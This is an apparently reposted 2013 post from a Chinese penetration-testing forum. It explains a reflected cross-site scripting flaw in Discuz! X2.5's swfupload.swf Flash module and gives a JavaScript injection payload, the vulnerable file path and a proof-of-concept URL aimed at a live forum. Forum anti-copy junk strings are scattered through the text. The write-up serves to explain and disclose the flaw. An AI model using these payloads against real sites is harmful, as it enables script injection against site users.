中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
: k# W- O( Q1 c
6 d6 {6 e. g6 F! c+ X" y M
flash.external.ExternalInterface.call($methodName, $parameter)
4 ` s5 R3 X# d( l4 r% _
在浏览器中执行的是
" X8 b# N* W9 }$ ^
; C5 z* ]4 D4 L. z g8 h
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
. Y( X# C5 U# s* S9 s
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
; W& V4 [1 q. u3 G% J
% v K7 j- m0 w9 h
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
! V+ r! B- V; P5 N; d. k+ X" |
$methodName = a())}catch(e){alert(/xss/)}//
3 @1 f0 X9 V) p9 b8 L
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
; ~7 Q$ v7 @7 q! L6 b8 W
. | f. k8 `* U$ ^1 F5 s
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
# U0 ~2 c# N# n
F. P$ J! m+ G4 F- Z( N5 n4 } Y6 @
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
$ S6 P8 c8 r& W* G
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
' {" i" S3 w* T& r) S0 P* O
4 I) e8 {* `3 \8 i: l' a
! [; ]" a6 x- p. @7 N; b) V
7 W! A! I D( i3 Q% t
漏洞文件:upload\static\image\common\swfupload.swf
8 N( `- H* O! B8 ^; n' o5 I/ a9 {# ?
4 ]+ |/ j; I. ?
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
$ r" M/ l7 F' a+ \4 S1 C) I
) O* G) f: m. n" J5 Y- o
0 ^4 ?* V6 v, w+ ^' c% x
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
/ ]0 C* b$ Y+ A! P
5 C) S$ v7 Z$ `/ |
1 z4 ?, k/ W8 U9 j# O0 f+ D% _
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2